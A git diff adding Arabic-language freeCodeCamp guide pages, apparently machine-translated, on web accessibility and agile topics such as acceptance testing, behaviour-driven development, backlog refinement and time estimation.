+يجب أن تشمل إمكانية الوصول إلى الويب أيضًا الأشخاص الذين ليس لديهم إمكانية الوصول إلى الإنترنت أو أجهزة الكمبيوتر.
+
+تم تقديم دليل بارز لتطوير الويب بواسطة [اتحاد شبكة الويب العالمية (W3C)](https://www.w3.org/) ، وهي [مبادرة الوصول إلى الويب](https://www.w3.org/WAI/) من خلالها نحصل على [WAI-ARIA](https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics) ، مجموعة تطبيقات الإنترنت الغنية سهلة الوصول. حيث تتعامل WAI مع دلالات لغة تأشير النص الفائق (HTML) لتسهيل إنشاء شجرة DOM ، تحاول ARIA إنشاء تطبيقات الويب ، خاصة تلك التي تم تطويرها باستخدام javascript و أجاكس ، أكثر سهولة.
+
+يمكن أن يؤدي استخدام الصور والرسومات على مواقع الويب إلى تقليل إمكانية الوصول لأولئك الذين يعانون من إعاقات بصرية. ومع ذلك ، هذا لا يعني أن المصممين يجب تجنبه باستخدام هذه العناصر البصرية. عند استخدامها بشكل صحيح ، يمكن للعناصر المرئية أن تنقل الشكل والمظهر المناسبين للمستخدمين دون إعاقات ويجب استخدامها لنفعل ذلك. لاستخدام هذه العناصر بشكل مناسب ، يجب على مصممي الويب استخدام نص بديل لتوصيل رسالة هذه العناصر لأولئك الذين لا يستطيعون رؤيتها معهم. يجب أن يكون النص البديل قصيرًا ومختصرًا - [لا يزيد عن 5 إلى 15 كلمة بشكل عام](https://www.thoughtco.com/writing-great-alt-text-3466185) . اذا كان يستخدم الرسم لنقل المعلومات التي تتجاوز حدود النص البديل ، ويجب أن تكون هذه المعلومات موجودة أيضًا كنص على الويب حتى تتم قراءتها على الشاشة القراء. [تعرف على المزيد حول النص البديل](https://webaim.org/techniques/alttext/) .
+
+تمامًا مثل النص البديل للأشخاص الذين يعانون من ضعف البصر ، فإن نصوص الصوت مخصصة للأشخاص الذين لا يمكنهم الاستماع. تقديم وثيقة مكتوبة أو نسخة من ما يتم التحدث به للأشخاص الذين يعانون من صعوبة في السمع.
+
+حقوق النشر © 2005 [اتحاد شبكة الويب العالمية](http://www.w3.org) ( [MIT](http://www.csail.mit.edu/) ، [ERCIM](http://www.ercim.org) ، [Keio](http://www.keio.ac.jp) ، [Beihang](http://ev.buaa.edu.cn) ). http://www.w3.org/Consortium/Legal/2015/doc-license
+
+### معلومات اكثر:
+
+[مقدمة w3.org لإمكانية الوصول.](https://www.w3.org/WAI/intro/accessibility.php) [مشروع A11Y](http://a11yproject.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/acceptance-criteria/index.md b/client/src/guide/arabic/agile/acceptance-criteria/index.md
new file mode 100644
index 0000000000..2e8c2ecf5c
--- /dev/null
+++ b/client/src/guide/arabic/agile/acceptance-criteria/index.md
@@ -0,0 +1,21 @@
+---
+title: Acceptance Criteria
+localeTitle: معايير القبول
+---
+## معايير القبول
+
+تعتبر "قصة المستخدم" ، كعنصر في backlog الخاص بك ، عنصرًا نائبًا للمحادثة. في هذه المحادثة ، يتوصل مالك المنتج وفريق التوصيل إلى فهم حول النتيجة المرجوة.
+
+يخبر "معايير القبول" فريق التسليم كيف يجب أن تتصرف التعليمة البرمجية. تجنب كتابة **"كيف"** قصة المستخدم ؛ الحفاظ على **"ما"** . إذا كان الفريق يتبع التطوير الموجه للاختبار (TDD) ، فقد يوفر إطارًا للاختبارات التلقائية. ستكون معايير القبول هي بداية خطة الاختبار لفريق ضمان الجودة.
+
+والأهم من ذلك ، إذا كانت القصة لا تلبي كل معايير القبول ، فيجب ألا يقبل مالك المنتج القصة في نهاية التكرار.
+
+يمكن النظر إلى معايير القبول كأداة لحماية فريق التسليم. عندما يلتزم فريق التسليم بمجموعة ثابتة من الأخبار في تخطيط Sprint ، يلتزمون بمجموعة ثابتة من معايير القبول أيضًا. هذا يساعد على تجنب زحف النطاق.
+
+خذ بعين الاعتبار الوضع التالي: عند قبول قصة المستخدم ، يقترح مالك المنتج إضافة شيء لم يكن في نطاق قصة المستخدم. في هذه الحالة ، يكون فريق التسليم في وضع يسمح له برفض هذا الطلب (مهما كان صغيراً) وطلب من مالك المنتج إنشاء قصة مستخدم جديدة يمكن العناية بها في سباق آخر.
+
+#### معلومات اكثر:
+
+يوفر Nomad8 [أسئلة وأجوبة حول معايير القبول](https://nomad8.com/acceptance_criteria/)
+
+يقود رشيق على [معايير القبول](https://www.leadingagile.com/2014/09/acceptance-criteria/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/acceptance-testing/index.md b/client/src/guide/arabic/agile/acceptance-testing/index.md
new file mode 100644
index 0000000000..5bffb2f992
--- /dev/null
+++ b/client/src/guide/arabic/agile/acceptance-testing/index.md
@@ -0,0 +1,133 @@
+---
+title: Acceptance Testing
+localeTitle: اختبار القبول
+---
+## اختبار القبول
+
+اختبار القبول ، وهو أسلوب اختبار يتم تنفيذه لتحديد ما إذا كان نظام البرنامج قد استوفى مواصفات المتطلبات أم لا. يتمثل الغرض الرئيسي من هذا الاختبار في تقييم امتثال النظام لمتطلبات العمل والتحقق مما إذا كان قد استوفى المعايير المطلوبة للتسليم إلى المستخدمين النهائيين.
+
+هناك عدة أشكال لاختبار القبول:
+
+\-> اختبار قبول المستخدم
+
+\-> اختبار قبول الأعمال
+
+\-> اختبار ألفا
+
+\-> اختبار بيتا
+
+# معايير القبول
+
+يتم تعريف معايير القبول على أساس السمات التالية
+
+\-> الدقة الوظيفية والاكتمال
+
+\-> سلامة البيانات
+
+\-> تحويل البيانات
+
+\-> سهولة الاستخدام
+
+\-> الأداء
+
+\-> في الوقت المناسب
+
+\-> السرية والتوافر
+
+\-> قابلية التثبيت والترقية
+
+\-> التدرجية
+
+\-> وثائق
+
+# خطة اختبار القبول - السمات
+
+يتم تنفيذ أنشطة اختبار القبول على مراحل. أولاً ، يتم تنفيذ الاختبارات الأساسية ، وإذا كانت نتائج الاختبار مرضية ، يتم تنفيذ سيناريوهات أكثر تعقيدًا.
+
+تشتمل خطة اختبار القبول على السمات التالية:
+
+\-> مقدمة
+
+\-> فئة اختبار القبول
+
+\-> بيئة التشغيل
+
+\-> معرف حالة الاختبار
+
+\-> عنوان الاختبار
+
+\-> اختبار الهدف
+
+\-> إجراءات الاختبار
+
+\-> جدول الاختبار
+
+\-> الموارد
+
+\=> تم تصميم أنشطة اختبار القبول للوصول إلى أحد الاستنتاجات:
+
+قبول النظام كما سلمت
+
+اقبل النظام بعد إجراء التعديلات المطلوبة
+
+لا تقبل النظام
+
+# تقرير اختبار القبول - السمات
+
+يحتوي تقرير اختبار القبول على السمات التالية:
+
+\-> تقرير المعرف
+
+\-> ملخص النتائج
+
+\-> الاختلافات
+
+\-> توصيات
+
+\-> ملخص قائمة المهام
+
+# \-> قرار الموافقة
+
+يركز اختبار القبول على التحقق مما إذا كان البرنامج المطور يلبي جميع المتطلبات. هدفها الرئيسي هو التحقق مما إذا كان الحل الذي تم تطويره يلبي توقعات المستخدمين.
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+اختبار القبول هو ممارسة راسخة في تطوير البرمجيات. اختبار القبول هو جزء رئيسي من اختبار وظيفي من التعليمات البرمجية الخاصة بك.
+
+يختبر اختبار القبول أن الكود ينفذ كما هو متوقع ، أي ينتج الناتج المتوقع ، بالنظر إلى المدخلات المتوقعة.
+
+يتم استخدام اختبار القبول لاختبار كتل وظيفية أكبر نسبيًا من البرامج الملقبة بميزات.
+
+### مثال
+
+لقد قمت بإنشاء صفحة تتطلب أن يقوم المستخدم أولاً بإدخال اسمه في مربع حوار قبل أن يتمكن من مشاهدة المحتوى. لديك قائمة بالمستخدمين المدعوين ، لذلك سيتم إرجاع أي مستخدمين آخرين لخطأ.
+
+هناك عدة سيناريوهات هنا مثل:
+
+*   في كل مرة تقوم فيها بتحميل الصفحة ، تحتاج إلى إدخال اسمك.
+*   إذا كان اسمك في القائمة ، سيختفي مربع الحوار وستظهر لك المقالة.
+*   إذا لم يكن اسمك في القائمة ، فسوف يظهر مربع الحوار خطأ.
+
+يمكنك كتابة اختبارات القبول لكل من هذه الميزات الفرعية لميزة مربع الحوار الأكبر
+
+وبصرف النظر عن الرمز الذي يعالج البنية الأساسية لكيفية تنفيذ الاختبار ، قد يبدو اختبارك للسيناريو الأول (في pseudocode):
+
+بالنظر إلى أن الصفحة مفتوحة يجب أن يكون مربع الحوار مرئيًا ويجب أن يحتوي مربع الحوار على مربع إدخال ويجب أن يحتوي مربع الإدخال على نص موضع مؤقت "اسمك ، من فضلك!"
+
+### ملاحظات
+
+القبول يمكن كتابة الاختبارات بأي لغة وتشغيلها باستخدام الأدوات المختلفة المتاحة التي من شأنها أن تعتني بالبنية الأساسية المذكورة أعلاه ، مثل فتح متصفح ، وتحميل صفحة ، وتوفير menthods للوصول إلى عناصر على الصفحة ، ومكتبات التأكيد ، وما إلى ذلك.
+
+في كل مرة تقوم فيها بكتابة جزء من البرنامج سيتم استخدامه مرة أخرى (حتى لو كان ذلك بنفسك) ، فإنه يساعدك على كتابة اختبار له. عندما تقوم بنفسك أو بأخرى بإجراء تغييرات على هذا الرمز ، فإن تشغيل الاختبارات سيضمن عدم قيامك بكسر الوظائف الموجودة.
+
+وعادة ما يتم تنفيذها من قبل المستخدمين أو خبراء الموضوع. يطلق عليه أيضا باسم اختبار قبول المستخدم (UAT). UAT ينطوي على معظم سيناريوهات الحياة الحقيقية المشتركة. بخلاف اختبار النظام ، فإنه لا يركز على الأخطاء أو الأعطال ، ولكن على الوظيفة. يتم إجراء UAT في نهاية دورة حياة الاختبار وسيقرر ما إذا تم نقل البرنامج إلى البيئة التالية أم لا.
+
+من الطرق الجيدة لتحديد اختبارات القبول التي يجب كتابتها إضافة معايير القبول إلى قصة مستخدم. باستخدام معايير القبول ، يمكنك تحديد متى تكون قصة المستخدم جاهزة للنشر وإتمام المشكلة لرغباتك.
+
+في مشروع Agile من المهم أن يكون لدى الفريق معايير قبول محددة لكافة قصص المستخدمين. سوف يستخدم اختبار القبول المعايير المحددة لتقييم الأداء الوظيفي. عندما تتمكن القصة من اجتياز جميع معايير القبول ، تكون قد اكتملت.
+
+يمكن اختبار القبول أيضا التحقق من صحة ما إذا كانت ملحمة / قصة / مهمة كاملة تستوفي معايير القبول المحددة. وعلى النقيض من تعريف "الفعل" ، يمكن أن تغطي هذه المعايير حالات الأعمال المحددة التي يريد الفريق حلها. وهذا يوفر قياسًا جيدًا لجودة العمل.
+
+#### معلومات اكثر:
+
+*   [مجلس المؤهلات الدولي لاختبار البرمجيات](http://www.istqb.org/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/actual-time-estimation/index.md b/client/src/guide/arabic/agile/actual-time-estimation/index.md
new file mode 100644
index 0000000000..c3f13f63ab
--- /dev/null
+++ b/client/src/guide/arabic/agile/actual-time-estimation/index.md
@@ -0,0 +1,53 @@
+---
+title: Actual Time Estimation
+localeTitle: تقدير الوقت الفعلي
+---
+## تقدير الوقت الفعلي
+
+التقدير الفعلي للوقت هو عملية التنبؤ بأكثر مقدار من الجهد واقعية (يُعبَّر عنه من حيث عدد ساعات العمل أو النقود) المطلوب لتطوير أو صيانة برنامج يعتمد على مدخلات غير كاملة وغير مؤكدة وصاخبة. يمكن استخدام تقديرات الجهد كمدخلات في خطط المشروع ، خطط التكرار ، الميزانيات ، تحليلات الاستثمار ، عمليات التسعير وجولات العطاءات.
+
+### للدولة من الناحية العملية
+
+تشير الدراسات الاستقصائية المنشورة حول ممارسة التقدير إلى أن تقدير الخبراء هو الاستراتيجية السائدة عند تقدير جهد تطوير البرامج.
+
+وعادة ما تكون تقديرات الجهد مفرطة في التفاؤل وهناك ثقة مفرطة في دقتها. ويبدو أن متوسط ​​مجهود الجهد يقارب 30٪ ولا يتناقص مع مرور الوقت. لمراجعة استطلاعات خطأ تقدير الجهد ، راجع. ومع ذلك ، فإن قياس خطأ التقدير يمثل مشكلة ، انظر تقييم دقة التقديرات. يتضح مدى الثقة المفرطة في دقة تقديرات الجهد من خلال النتيجة التي توصلت إليها ، في المتوسط ​​، إذا كان أحد متخصصي البرامج واثقين بنسبة 90٪ أو "شبه متأكدين" من تضمين الجهد الفعلي في الحد الأدنى من الحد الأقصى ، فإن التردد الملحوظ بما في ذلك الجهد الفعلي هو 60-70 ٪ فقط.
+
+يُستخدم مصطلح "تقدير الجهد" حاليًا للدلالة على أنه مفاهيم مختلفة مثل الاستخدام الأكثر احتمالًا للجهد (القيمة النموذجية) ، والجهد الذي يقابل احتمال 50٪ من عدم تجاوز (الوسيط) ، والجهد المخطط له ، والجهد المدرج في الميزانية أو الجهد المستخدم لاقتراح عطاء أو سعر للعميل. يعتقد أن هذا أمر مؤسف ، لأن مشاكل الاتصال قد تحدث ولأن المفاهيم تخدم أهدافًا مختلفة.
+
+### التاريخ
+
+لقد عالج باحثو البرمجيات والممارسون مشاكل تقدير الجهد لمشروعات تطوير البرمجيات منذ الستينات على الأقل ؛ انظر ، على سبيل المثال ، العمل من قبل فار ونيلسون.
+
+وقد ركزت معظم الأبحاث على بناء نماذج تقدير رسمية لجهد البرمجيات. كانت النماذج المبكرة تعتمد عادة على تحليل الانحدار أو مشتقة رياضيا من النظريات من المجالات الأخرى. ومنذ ذلك الحين ، تم تقييم عدد كبير من أساليب بناء النماذج ، مثل المناهج المستندة إلى التعليل القائم على أساس الحالة ، وأشجار التصنيف والتراجع ، والمحاكاة ، والشبكات العصبية ، وإحصاءات بايز ، والتحليل المعجمى لمواصفات المتطلبات ، والبرمجة الجينية ، والبرمجة الخطية ، والإنتاج الاقتصادي. النماذج ، والحوسبة الناعمة ، ونمذجة المنطق الضبابي ، والإحلال الإحصائي ، والتوليفات من اثنين أو أكثر من هذه النماذج.
+
+ربما تكون أساليب التقدير الأكثر شيوعًا اليوم هي نماذج التقدير البارامترات COCOMO و SEER-SEM و SLIM. ولها أساسها في بحوث التقييم التي أجريت في السبعينيات والثمانينيات ، وتم تحديثها منذ ذلك الحين ببيانات معايرة جديدة ، وكان الإصدار الرئيسي الأخير هو COCOMO II في عام 2000. وتقترب طرق التقييم من المقاييس القائمة على الوظائف ، مثل الوظيفة. وتستند النقاط أيضًا إلى الأبحاث التي أجريت في السبعينيات والثمانينيات ، ولكن تمت معايرتها بمقاييس حجم معدلة ومناهج حساب مختلفة ، مثل نقاط حالة الاستخدام أو نقاط الكائن في التسعينيات و COSMIC في العقد الأول من القرن الحادي والعشرين.
+
+يعتبر التقدير الفعلي للوقت طريقة تستند إلى الوقت لتقدير أعمال التطوير.
+
+من الأهمية بمكان أن تكون قادراً على تقدير الوقت اللازم لإنجاز مشروع Agile ، لسوء الحظ ، إنه أيضاً أحد أكثر الأجزاء صعوبة في التخطيط لمشروع Agile.
+
+وهدفها هو أفضل تقدير تقريبي لمقدار الوقت اللازم لإكمال مهمة تطوير معينة.
+
+إحدى التقنيات التي يمكنك استخدامها هي تقدير الوقت الذي سيستغرقه إكمال قصص المستخدمين. عندما تفعل هذا ، تذكر أن تتشاور مع أعضاء آخرين من فريق رشيق الخاص بك. لكل قصة مستخدم ، تأكد من أنك تقدر الوقت الذي يكون واقعيًا وعمليًا ، ولكن ليس بقدر ما يتم تقاضي العميل مقابل عمل بسيط. استشر أعضاء فريقك حتى تتمكن من الاستفادة من خبراتهم حتى يتمكنوا من فهم مقدار العمل المطلوب والمدة التي سيستغرقها ذلك. عندما يكون لديك إجماع لكل قصة مستخدم ، يمكنك إضافة الأوقات للحصول على تقدير للوقت.
+
+مع تغير متطلبات المشروع بمرور الوقت ، يمكنك تحديث التقدير. إذا فقد مشروع ما بعض الموارد المخصصة له في الأصل ، فقد تحتاج إلى قص قصص المستخدمين لتتمكن من إكمالها بنفس المقدار من الوقت الإجمالي. وبالمثل ، إذا كنت ترغب في تحسين جودة التطبيق ، فقد تحتاج إلى تخصيص مزيد من الوقت لكل قصة مستخدم للتأكد من أن فريقك لديه وقت لإنهاء التطبيق بالجودة المطلوبة.
+
+بشكل عام ، يتم حساب هذه التقديرات باستخدام ساعات هندسية مثالية.
+
+أمثلة:
+
+**هذه المهمة ستكون كاملة في 10 أيام.**
+
+أو…
+
+**ستكتمل هذه المهمة في 10 يناير.**
+
+أو…
+
+**ستتطلب هذه المهمة 25 ساعة تطوير لإتمامها.**
+
+### معلومات اكثر:
+
+*   [قيود رشيقة](http://www.brighthubpm.com/agile/50212-the-agile-triangle-value-quality-and-constraints/)
+    
+*   [كيف يمكنك تقدير مشروع Agile؟](http://info.thoughtworks.com/rs/thoughtworks2/images/twebook-perspectives-estimation_1.pdf)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/alignment/index.md b/client/src/guide/arabic/agile/alignment/index.md
new file mode 100644
index 0000000000..4c78d3d716
--- /dev/null
+++ b/client/src/guide/arabic/agile/alignment/index.md
@@ -0,0 +1,11 @@
+---
+title: Alignment
+localeTitle: انتقام
+---
+## انتقام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/alignment/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/application-lifecycle-management/index.md b/client/src/guide/arabic/agile/application-lifecycle-management/index.md
new file mode 100644
index 0000000000..465b598d50
--- /dev/null
+++ b/client/src/guide/arabic/agile/application-lifecycle-management/index.md
@@ -0,0 +1,25 @@
+---
+title: Application Lifecycle Management
+localeTitle: إدارة دورة حياة التطبيق
+---
+## إدارة دورة حياة التطبيق
+
+تعد إدارة دورة حياة التطبيقات (ALM) ، المرتبطة بشكل شائع مع دورة حياة تطوير البرامج (SDLC) ، منظورًا أوسع يتناسب بشكل أفضل مع مفهوم دورة حياة المنتج. يعتبر التطوير (SDLC) جزءًا فقط من دورة حياة التطبيق ومن ثم يتم تمثيله كجزء من ALM.
+
+يمكن تقسيم ALM إلى ثلاثة مجالات متميزة: الحوكمة والتنمية والعمليات:
+
+الحوكمة: يشمل كل من صنع القرار وإدارة المشروع لهذا التطبيق ، يمتد على كامل الوجود للتطبيق.
+
+التطوير: عملية (SDLC) لإنشاء التطبيق فعليًا. بالنسبة لمعظم التطبيقات ، تظهر عملية التطوير مرة أخرى عدة مرات في عمر التطبيق ، بما في ذلك إصلاح الأخطاء والتحسينات والإصدارات الجديدة.
+
+العمليات: العمل المطلوب لتشغيل وإدارة التطبيق ، وعادة ما يبدأ قبل فترة وجيزة من النشر ، ثم يعمل بشكل مستمر حتى تقاعد التطبيق. تتداخل في بعض الأحيان مع التنمية.
+
+يمكن استخدام الأدوات لإدارة ALM ؛ تتضمن بعض الخيارات الأكثر شيوعًا ما يلي:
+
+*   اتلسيان [الجيرة](http://atlassian.com/software/jira)
+*   CA تكنولوجى [رالي](http://ca.com/us.html)
+*   [يعتقد أعمال](http://thoughtworks.com/products)
+
+#### معلومات اكثر:
+
+InfoQ - غارتنر والمشورة البرمجيات تفحص [أدوات إدارة دورة حياة رشيقة](http://www.infoq.com/news/2015/02/agile-management-tools/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/architectural-runway/index.md b/client/src/guide/arabic/agile/architectural-runway/index.md
new file mode 100644
index 0000000000..40a792e76a
--- /dev/null
+++ b/client/src/guide/arabic/agile/architectural-runway/index.md
@@ -0,0 +1,5 @@
+---
+title: Architectural Runway
+localeTitle: المدرج المعماري
+---
+يحدد المدرج المعماري كل ما يحتاجه البرنامج قبل بدء المشروع. هذا يسمح للمطورين بضرب الأرض.
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/backlog-emergence-and-grooming/index.md b/client/src/guide/arabic/agile/backlog-emergence-and-grooming/index.md
new file mode 100644
index 0000000000..1ca51eb504
--- /dev/null
+++ b/client/src/guide/arabic/agile/backlog-emergence-and-grooming/index.md
@@ -0,0 +1,20 @@
+---
+title: Backlog Emergence and Refinement
+localeTitle: تراكم ظهور وتنعيم
+---
+## تراكم ظهور وتنعيم
+
+تعد عملية تحسين تراكم المنتجات عملية مستمرة يجب أن تكون متزامنة مع عملية اكتشاف المنتج. بشكل عام ، سيعمل فريق Scrum بشكل تعاوني على تحسين عناصر تراكم المنتجات للسباقات الثنائية أو الثلاثة المقبلة.
+
+يحدد مالك المنتج (الشخص المسؤول عن توضيح هدف السباق) نطاق سباقات السرعة القادمة من خلال تحديد أغلى قصص المستخدمين قيمة في تراكم المنتجات. يعتبر مالك المنتج أكثر من مجرد مدير مشروع تم إنشاؤه لتراكم المنتجات ، ويؤدي أدوارًا أكثر من مجرد قصص المستخدمين بالنيابة عن أصحاب المصلحة.
+
+من دليل سكروم: تعد عملية تنقيح المنتج المتأخر بمثابة إضافة التفاصيل والتقديرات وترتيب العناصر في تراكم المنتج. هذه عملية مستمرة يتعاون فيها مالك المنتج وفريق التطوير على تفاصيل عناصر تراكم المنتجات. أثناء تنقيح تراكم المنتج ، تتم مراجعة العناصر وتنقيحها.
+
+يقرر فريق سكروم كيف ومتى يتم التصفية. لا يستلزم الصقل عادة أكثر من 10٪ من قدرة فريق التطوير. ومع ذلك ، يمكن تحديث عناصر تراكم المنتجات في أي وقت بواسطة مالك المنتج أو حسب تقدير مالك المنتج. الهدف من التحسين هو الحصول على ما يكفي من عناصر تراكم المنتج "جاهز" لتخطيط Sprint القادم Sprint. بشكل عام ، سيقوم فريق scrum بشكل تعاوني بتحسين عناصر تراكم المنتجات الخاصة بالسباعتين التاليتين إلى السباقات الثلاثة التالية.
+
+يعد ظهور الأعمال المتراكمة وصقلها مهام أساسية لكل فريق من أعضاء فريق سكروم. يحدد مالك المنتج نطاق سباقات السرعة المرتقبة من خلال تحديد أغلى قصص المستخدمين قيمة في تراكم المنتجات. على الرغم من أن مالك المنتج هو المسؤول عن الحفاظ على تراكم المنتج عند تسليم قيمة الذروة ، إلا أنه يحتاج إلى مساعدة فريق سكروم بأكمله للقيام بذلك. تغيير Sprint Backlog جزء من Sprint المستمر ولا يعتبر Refinement.
+
+#### معلومات اكثر:
+
+*   [تحسين تنقيح تراكم المنتج](https://www.scrum.org/resources/blog/optimizing-product-backlog-refinement)
+*   دليل سكروم (http://www.scrumguides.org/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/backlog-item-effort/index.md b/client/src/guide/arabic/agile/backlog-item-effort/index.md
new file mode 100644
index 0000000000..77b63405b4
--- /dev/null
+++ b/client/src/guide/arabic/agile/backlog-item-effort/index.md
@@ -0,0 +1,11 @@
+---
+title: Backlog Item Effort
+localeTitle: جهد البند تراكم
+---
+## جهد البند تراكم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/backlog-item-effort/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/behavior-driven-development/index.md b/client/src/guide/arabic/agile/behavior-driven-development/index.md
new file mode 100644
index 0000000000..e98447fb64
--- /dev/null
+++ b/client/src/guide/arabic/agile/behavior-driven-development/index.md
@@ -0,0 +1,60 @@
+---
+title: Behavior Driven Development
+localeTitle: تنمية السلوك مدفوعة
+---
+## تنمية السلوك مدفوعة
+
+التنمية المدفوعة بالسلوك (BDD) هي عملية تطوير برمجيات انبثقت من ![التطوير المدفوع بالاختبار (TDD)](../test-driven-development/index.md) . يدمج التطوير المبني على السلوك بين التقنيات والمبادئ العامة للـ TDD مع أفكار من التصميم القائم على المجال والتحليل والتصميم الموجه للكائنات لتقديم فرق تطوير وإدارة البرامج بأدوات مشتركة وعملية مشتركة للتعاون في تطوير البرمجيات. إنها منهجية تطوير برمجيات يتم فيها تحديد وتخصيص تطبيق من خلال وصف كيفية ظهور سلوكه لمراقب خارجي.
+
+على الرغم من أن BDD هو في الأساس فكرة عن كيفية إدارة تطوير البرمجيات من جانب المصالح التجارية والرؤية الفنية ، فإن ممارسة BDD تفترض استخدام أدوات برمجية متخصصة لدعم عملية التطوير.
+
+على الرغم من أن هذه الأدوات غالباً ما يتم تطويرها خصيصًا للاستخدام في مشاريع BDD ، يمكن اعتبارها أشكالًا متخصصة من الأدوات التي تدعم التطوير القائم على الاختبار. الأدوات تعمل لإضافة الأتمتة إلى اللغة في كل مكان وهذا هو الموضوع الرئيسي لل BDD.
+
+يركز BDD على:
+
+*   من أين تبدأ في هذه العملية
+*   ما لاختبار وما لا اختبار
+*   كم لاختبار في دفعة واحدة
+*   ما استدعاء الاختبارات
+*   كيف نفهم لماذا يفشل الاختبار
+
+في قلب BDD هو إعادة التفكير في النهج لاختبار وحدة واختبار القبول التي تنشأ بطبيعة الحال مع هذه القضايا. على سبيل المثال ، يقترح BDD أن تكون أسماء اختبار الوحدة عبارة عن جمل كاملة تبدأ بفعل مشروط ("يجب" باللغة الإنجليزية على سبيل المثال) ويجب كتابتها حسب قيمة الأعمال. يجب كتابة اختبارات القبول باستخدام إطار رشيق قياسي لقصة المستخدم: " _كدور_ أريد _ميزة_ حتى تحقق _الفائدة_ ". يجب كتابة معايير القبول من حيث السيناريوهات وتنفيذها كطبقات: معطى _السياق الأولي_ ، عند _وقوع الحدث_ ، ثم _تأكد من بعض النتائج_ .
+
+مثال
+
+ `Story: Returns go to stock 
+ 
+ As a store owner 
+ In order to keep track of stock 
+ I want to add items back to stock when they're returned. 
+ 
+ Scenario 1: Refunded items should be returned to stock 
+ Given that a customer previously bought a black sweater from me 
+ And I have three black sweaters in stock. 
+ When he returns the black sweater for a refund 
+ Then I should have four black sweaters in stock. 
+ 
+ Scenario 2: Replaced items should be returned to stock 
+ Given that a customer previously bought a blue garment from me 
+ And I have two blue garments in stock 
+ And three black garments in stock. 
+ When he returns the blue garment for a replacement in black 
+ Then I should have three blue garments in stock 
+ And two black garments in stock. 
+` 
+
+جنبا إلى جنب مع بعض الفوائد:
+
+1.  يمكن تتبع كل أعمال التطوير مباشرة إلى أهداف العمل.
+2.  تطوير البرامج يلبي حاجة المستخدم. المستخدمون الراضين = عمل جيد.
+3.  تحديد الأولويات بكفاءة - يتم تسليم ميزات الأعمال الهامة أولاً.
+4.  جميع الأطراف لديها فهم مشترك للمشروع ويمكن أن تشارك في الاتصال.
+5.  تضمن اللغة المشتركة للجميع (سواء كانت تقنية أو غير ذلك) رؤية شاملة لتقدم المشروع.
+6.  تصميم البرامج الناشئ الذي يتطابق مع احتياجات الأعمال القادمة ويدعمها.
+7.  تحسين كود الجودة يقلل من تكاليف الصيانة ويقلل من مخاطر المشروع.
+
+## معلومات اكثر
+
+*   ويكي على [BDD](https://en.wikipedia.org/wiki/Behavior-driven_development)
+*   ومن المعروف أن إطار تطوير السلوكيات المدفوعة (BDD) هو [الخيار](https://cucumber.io/) . يدعم الخيار العديد من لغات البرمجة ويمكن دمجه مع عدد من الأطر ؛ على سبيل المثال ، [Ruby on Rails](http://rubyonrails.org/) و [Spring Framework](http://spring.io/) و [Selenium](http://www.seleniumhq.org/)
+*   https://inviqa.com/blog/bdd-guide
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/build-measure-learn/index.md b/client/src/guide/arabic/agile/build-measure-learn/index.md
new file mode 100644
index 0000000000..bf6f83a8cb
--- /dev/null
+++ b/client/src/guide/arabic/agile/build-measure-learn/index.md
@@ -0,0 +1,29 @@
+---
+title: Build Measure Learn
+localeTitle: بناء التدبير التعلم
+---
+## بناء التدبير التعلم
+
+حلقة البناء-القياس-التعلم هي طريقة تُستخدم لبناء المنتج المناسب. تمكّن هذه الحلقة ، التي تم اقتباسها في كتاب "بدء التشغيل المرن" من إريك ريس ، من إجراء التجارب السريعة ، بهدف وحيد هو تحقيق تناسب السوق. بمعنى آخر ، إنه نظام قوي للتحقق من صحة الافتراضات المتعلقة بالمنتج الذي حددته لتسليمه. كسر الحلقة ، يتكون من الأجزاء التالية:
+
+![بناء تدبير تعلم حلقة](https://steveblank.files.wordpress.com/2015/05/ideas-build-code-measure.jpg)
+
+### فكرة
+
+تبدأ كل حلقة بفكرة توفر قيمة تجارية لبعض المستخدمين. يجب أن تتكون هذه الفكرة من رؤية للمنتج - والتي ستوجهك إلى ما يجب إنشاؤه ، ومقياسًا يشير إلى ما إذا كانت افتراضاتك حول قيمة العمل صحيحة.
+
+### بناء
+
+لإثبات صحة فكرتك ، تبدأ في إنشاء منتج قابل للتطبيق بحد أدنى (MVP) ، مقترنًا بمقاييس محددة مسبقًا (يفضل أحدها) ، والغرض منها هو التحقق من صحة نظريتك ، ومساعدتك على تحديد ما إذا كان عليك الحفاظ على أو التدوير.
+
+### قياس
+
+تركز هذه المرحلة على جمع البيانات والمقاييس من MVP.
+
+### تعلم
+
+بعد ذلك ، باستخدام البيانات التي تم جمعها ، يجب اتخاذ قرار ، سواء كان المستخدم يستخدم المنتج أم لا ، ومن ثم يجب عليك الحفاظ عليه ، أو ما إذا كان المستخدمون غير مهتمين بالمنتج ، وعلى هذا النحو يجب أن تقوم بالدوران. وبالتالي تنتهي مرحلة التعلم بفكرة (إما كيفية توسيع نطاق المنتج ، أو كيفية التدوير من المنتج الأصلي) ، والتي تنطبق على حلقة البناء التدريبي التالي.
+
+#### معلومات اكثر:
+
+[لماذا نبني ، نقيس ، نتعلم - لا نقوم فقط برمي الأشياء ضد الجدار لنرى ما إذا كانت تعمل - المنتج الحد الأدنى القابل للتطبيق](https://steveblank.com/2015/05/06/build-measure-learn-throw-things-against-the-wall-and-see-if-they-work/) [حلقة تعليقات تقييم البناء-تعلم](https://www.mindtools.com/pages/article/build-measure-learn.htm)
\ No newline at end of file
